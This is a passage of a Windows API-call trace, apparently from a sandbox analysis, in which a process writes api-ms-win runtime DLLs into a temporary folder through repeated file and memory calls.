MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3e24244, cbMultiByte=45, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-processenvironment-l1-1-0.dll") returned 45 [0056.436] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-core-processenvironment-l1-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-core-processenvironment-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0056.436] VirtualAlloc (lpAddress=0x43c0000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x43c0000 [0056.437] VirtualFree (lpAddress=0x43bc000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.437] WriteFile (in: hFile=0xe8, lpBuffer=0x43c000c*, nNumberOfBytesToWrite=0x4b30, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x43c000c*, lpNumberOfBytesWritten=0x18e5c4*=0x4b30, lpOverlapped=0x0) returned 1 [0056.438] CloseHandle (hObject=0xe8) returned 1 [0056.439] VirtualFree (lpAddress=0x43c0000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0056.439] VirtualAlloc (lpAddress=0x43bc000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x43bc000 [0056.439] VirtualFree (lpAddress=0x43b4000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.440] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x43b2720, cbMultiByte=41, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-processthreads-l1-1-0.dll.dll") returned 41 [0056.440] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-core-processthreads-l1-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-core-processthreads-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0056.442] VirtualAlloc (lpAddress=0x43c4000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x43c4000 [0056.442] WriteFile (in: hFile=0xe8, lpBuffer=0x43c0578*, nNumberOfBytesToWrite=0x4bc0, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x43c0578*, lpNumberOfBytesWritten=0x18e5c4*=0x4bc0, lpOverlapped=0x0) returned 1 [0056.443] CloseHandle (hObject=0xe8) returned 1 [0056.444] VirtualFree (lpAddress=0x43c4000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0056.444] VirtualAlloc (lpAddress=0x43c4000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x43c4000 [0056.445] VirtualFree (lpAddress=0x43b8000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0056.445] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x43c0578, cbMultiByte=41, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-processthreads-l1-1-1.dll.dll") returned 41 [0056.445] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0056.446] WriteFile (in: hFile=0xe8, lpBuffer=0x43c4ef8*, nNumberOfBytesToWrite=0x4938, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x43c4ef8*, lpNumberOfBytesWritten=0x18e5c4*=0x4938, lpOverlapped=0x0) returned 1 [0056.447] CloseHandle (hObject=0xe8) returned 1 [0056.447] VirtualFree (lpAddress=0x43c8000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.448] VirtualAlloc (lpAddress=0x43c8000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x43c8000 [0056.448] VirtualFree (lpAddress=0x43c0000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.448] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x43c4ef8, cbMultiByte=34, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-profile-l1-1-0.dll1-1.dll.dll") returned 34 [0056.448] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-core-profile-l1-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-core-profile-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0056.449] WriteFile (in: hFile=0xe8, lpBuffer=0x43c9468*, nNumberOfBytesToWrite=0x4530, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x43c9468*, lpNumberOfBytesWritten=0x18e5c4*=0x4530, lpOverlapped=0x0) returned 1 [0056.450] CloseHandle (hObject=0xe8) returned 1 [0056.451] VirtualFree (lpAddress=0x43cc000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.451] VirtualAlloc (lpAddress=0x43cc000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x43cc000 [0056.451] VirtualFree (lpAddress=0x43c4000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.451] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x43c9468, cbMultiByte=37, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-rtlsupport-l1-1-0.dll.dll.dll") returned 37 [0056.452] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-core-rtlsupport-l1-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-core-rtlsupport-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0056.452] WriteFile (in: hFile=0xe8, lpBuffer=0x43cd9e4*, nNumberOfBytesToWrite=0x4538, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x43cd9e4*, lpNumberOfBytesWritten=0x18e5c4*=0x4538, lpOverlapped=0x0) returned 1 [0056.453] CloseHandle (hObject=0xe8) returned 1 [0056.454] VirtualFree (lpAddress=0x43d0000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.454] VirtualAlloc (lpAddress=0x43d0000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x43d0000 [0056.454] VirtualFree (lpAddress=0x43c8000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.455] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x43cd9e4, cbMultiByte=33, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-string-l1-1-0.dll.dll.dll.dll") returned 33 [0056.455] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-core-string-l1-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-core-string-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0056.455] WriteFile (in: hFile=0xe8, lpBuffer=0x43d215c*, nNumberOfBytesToWrite=0x4738, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x43d215c*, lpNumberOfBytesWritten=0x18e5c4*=0x4738, lpOverlapped=0x0) returned 1 [0056.456] CloseHandle (hObject=0xe8) returned 1 [0056.457] VirtualFree (lpAddress=0x43d4000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.457] VirtualAlloc (lpAddress=0x43d4000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x43d4000 [0056.458] VirtualFree (lpAddress=0x43cc000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.458] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x43d215c, cbMultiByte=32, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-synch-l1-1-0.dlll.dll.dll.dll") returned 32 [0056.458] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-core-synch-l1-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-core-synch-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0056.458] VirtualAlloc (lpAddress=0x43b4000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x43b4000 [0056.458] VirtualFree (lpAddress=0x43d8000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.459] WriteFile (in: hFile=0xe8, lpBuffer=0x43b2720*, nNumberOfBytesToWrite=0x4f38, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x43b2720*, lpNumberOfBytesWritten=0x18e5c4*=0x4f38, lpOverlapped=0x0) returned 1 [0056.460] CloseHandle (hObject=0xe8) returned 1 [0056.461] VirtualFree (lpAddress=0x43b4000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0056.461] VirtualAlloc (lpAddress=0x43b4000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x43b4000 [0056.462] VirtualFree (lpAddress=0x43d0000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0056.462] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x43b2720, cbMultiByte=32, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-synch-l1-2-0.dlll.dll.dll.dll") returned 32 [0056.462] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0056.462] WriteFile (in: hFile=0xe8, lpBuffer=0x43b7098*, nNumberOfBytesToWrite=0x4938, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x43b7098*, lpNumberOfBytesWritten=0x18e5c4*=0x4938, lpOverlapped=0x0) returned 1 [0056.464] CloseHandle (hObject=0xe8) returned 1 [0056.464] VirtualFree (lpAddress=0x43b8000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.465] VirtualAlloc (lpAddress=0x43b8000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x43b8000 [0056.465] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3e24244, cbMultiByte=34, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-sysinfo-l1-1-0.dlldll.dll.dll") returned 34 [0056.465] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-core-sysinfo-l1-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-core-sysinfo-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0056.465] VirtualAlloc (lpAddress=0x43c0000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x43c0000 [0056.466] VirtualFree (lpAddress=0x43bc000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.466] WriteFile (in: hFile=0xe8, lpBuffer=0x43c000c*, nNumberOfBytesToWrite=0x4b30, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x43c000c*, lpNumberOfBytesWritten=0x18e5c4*=0x4b30, lpOverlapped=0x0) returned 1 [0056.467] CloseHandle (hObject=0xe8) returned 1 [0056.468] VirtualFree (lpAddress=0x43c0000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0056.468] VirtualFree (lpAddress=0x43b8000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.468] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x43b2720, cbMultiByte=35, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-timezone-l1-1-0.dllll.dll.dll") returned 35 [0056.468] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0056.469] VirtualAlloc (lpAddress=0x43b8000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x43b8000 [0056.469] WriteFile (in: hFile=0xe8, lpBuffer=0x43b6e90*, nNumberOfBytesToWrite=0x4730, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x43b6e90*, lpNumberOfBytesWritten=0x18e5c4*=0x4730, lpOverlapped=0x0) returned 1 [0056.470] CloseHandle (hObject=0xe8) returned 1 [0056.471] VirtualFree (lpAddress=0x43b8000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0056.471] VirtualAlloc (lpAddress=0x43b8000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x43b8000 [0056.472] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3e24244, cbMultiByte=31, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-util-l1-1-0.dll.dllll.dll.dll") returned 31 [0056.472] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-core-util-l1-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-core-util-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0056.472] WriteFile (in: hFile=0xe8, lpBuffer=0x43bb5d8*, nNumberOfBytesToWrite=0x4738, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x43bb5d8*, lpNumberOfBytesWritten=0x18e5c4*=0x4738, lpOverlapped=0x0) returned 1 [0056.473] CloseHandle (hObject=0xe8) returned 1 [0056.474] VirtualFree (lpAddress=0x43bc000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.474] VirtualAlloc (lpAddress=0x43bc000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x43bc000 [0056.474] VirtualFree (lpAddress=0x43b4000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.475] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x43b2720, cbMultiByte=31, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-crt-conio-l1-1-0.dll.dllll.dll.dll") returned 31 [0056.475] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0056.475] VirtualAlloc (lpAddress=0x43c4000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x43c4000 [0056.476] WriteFile (in: hFile=0xe8, lpBuffer=0x43c0120*, nNumberOfBytesToWrite=0x4b38, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x43c0120*, lpNumberOfBytesWritten=0x18e5c4*=0x4b38, lpOverlapped=0x0) returned 1 [0056.477] CloseHandle (hObject=0xe8) returned 1 [0056.478] VirtualFree (lpAddress=0x43c4000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0056.479] VirtualAlloc (lpAddress=0x43c4000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x43c4000 [0056.479] VirtualFree (lpAddress=0x43b8000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0056.479] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x43c0120, cbMultiByte=33, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-crt-convert-l1-1-0.dllllll.dll.dll") returned 33 [0056.480] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0056.480] WriteFile (in: hFile=0xe8, lpBuffer=0x43c5898*, nNumberOfBytesToWrite=0x5738, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x43c5898*, lpNumberOfBytesWritten=0x18e5c4*=0x5738, lpOverlapped=0x0) returned 1 [0056.481] CloseHandle (hObject=0xe8) returned 1 [0056.482] VirtualFree (lpAddress=0x43c8000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.482] VirtualAlloc (lpAddress=0x43c8000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x43c8000 [0056.482] VirtualFree (lpAddress=0x43c0000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.483] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x43c5898, cbMultiByte=37, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-crt-environment-l1-1-0.dll.dll.dll") returned 37 [0056.483] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0056.483] WriteFile (in: hFile=0xe8, lpBuffer=0x43ca20c*, nNumberOfBytesToWrite=0x4930, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x43ca20c*, lpNumberOfBytesWritten=0x18e5c4*=0x4930, lpOverlapped=0x0) returned 1 [0056.484] CloseHandle (hObject=0xe8) returned 1 [0056.485] VirtualFree (lpAddress=0x43cc000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.485] VirtualAlloc (lpAddress=0x43cc000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x43cc000 [0056.486] VirtualFree (lpAddress=0x43c4000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.486] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x43ca20c, cbMultiByte=36, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-crt-filesystem-l1-1-0.dlll.dll.dll") returned 36 [0056.486] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0056.498] VirtualAlloc (lpAddress=0x43b4000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x43b4000 [0056.498] VirtualFree (lpAddress=0x43d0000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.498] WriteFile (in: hFile=0xe8, lpBuffer=0x43b2720*, nNumberOfBytesToWrite=0x4f38, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x43b2720*, lpNumberOfBytesWritten=0x18e5c4*=0x4f38, lpOverlapped=0x0) returned 1 [0056.499] CloseHandle (hObject=0xe8) returned 1 [0056.500] VirtualFree (lpAddress=0x43b4000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0056.501] VirtualAlloc (lpAddress=0x43b4000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x43b4000 [0056.501] VirtualFree (lpAddress=0x43c8000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0056.501] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x43b2720, cbMultiByte=30, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-crt-heap-l1-1-0.dll-0.dlll.dll.dll") returned 30 [0056.501] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-crt-heap-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0056.502] WriteFile (in: hFile=0xe8, lpBuffer=0x43b7294*, nNumberOfBytesToWrite=0x4b38, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x43b7294*, lpNumberOfBytesWritten=0x18e5c4*=0x4b38, lpOverlapped=0x0) returned 1 [0056.503] CloseHandle (hObject=0xe8) returned 1 [0056.504] VirtualFree (lpAddress=0x43b8000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.504] VirtualAlloc (lpAddress=0x43b8000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x43b8000 [0056.504] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3e24244, cbMultiByte=32, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-crt-locale-l1-1-0.dll.dlll.dll.dll") returned 32 [0056.504] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-crt-locale-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0056.505] WriteFile (in: hFile=0xe8, lpBuffer=0x43b2720*, nNumberOfBytesToWrite=0x4938, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x43b2720*, lpNumberOfBytesWritten=0x18e5c4*=0x4938, lpOverlapped=0x0) returned 1 [0056.506] CloseHandle (hObject=0xe8) returned 1 [0056.506] VirtualAlloc (lpAddress=0x43c0000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x43c0000 [0056.507] VirtualFree (lpAddress=0x43bc000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.507] VirtualFree (lpAddress=0x43b4000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.507] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x43bbbdc, cbMultiByte=30, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-crt-math-l1-1-0.dllll.dlll.dll.dll") returned 30 [0056.508] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-crt-math-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0056.508] VirtualAlloc (lpAddress=0x43c8000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x43c8000 [0056.508] WriteFile (in: hFile=0xe8, lpBuffer=0x43c7154*, nNumberOfBytesToWrite=0x7138, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x43c7154*, lpNumberOfBytesWritten=0x18e5c4*=0x7138, lpOverlapped=0x0) returned 1 [0056.510] CloseHandle (hObject=0xe8) returned 1 [0056.511] VirtualFree (lpAddress=0x43c8000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0056.511] VirtualAlloc (lpAddress=0x43c8000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x43c8000 [0056.511] VirtualFree (lpAddress=0x43c0000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.512] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x43b800c, cbMultiByte=35, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-crt-multibyte-l1-1-0.dllll.dll.dll") returned 35 [0056.512] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-crt-multibyte-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0056.512] VirtualAlloc (lpAddress=0x43bc000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x43bc000 [0056.512] WriteFile (in: hFile=0xe8, lpBuffer=0x43b803c*, nNumberOfBytesToWrite=0x6738, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x43b803c*, lpNumberOfBytesWritten=0x18e5c4*=0x6738, lpOverlapped=0x0) returned 1 [0056.513] CloseHandle (hObject=0xe8) returned 1 [0056.514] VirtualFree (lpAddress=0x43bc000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0056.515] VirtualFree (lpAddress=0x43b8000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.515] VirtualAlloc (lpAddress=0x43d0000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x43d0000 [0056.516] VirtualFree (lpAddress=0x43c8000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.516] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x43c400c, cbMultiByte=33, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-crt-private-l1-1-0.dllllll.dll.dll") returned 33 [0056.516] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-crt-private-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, 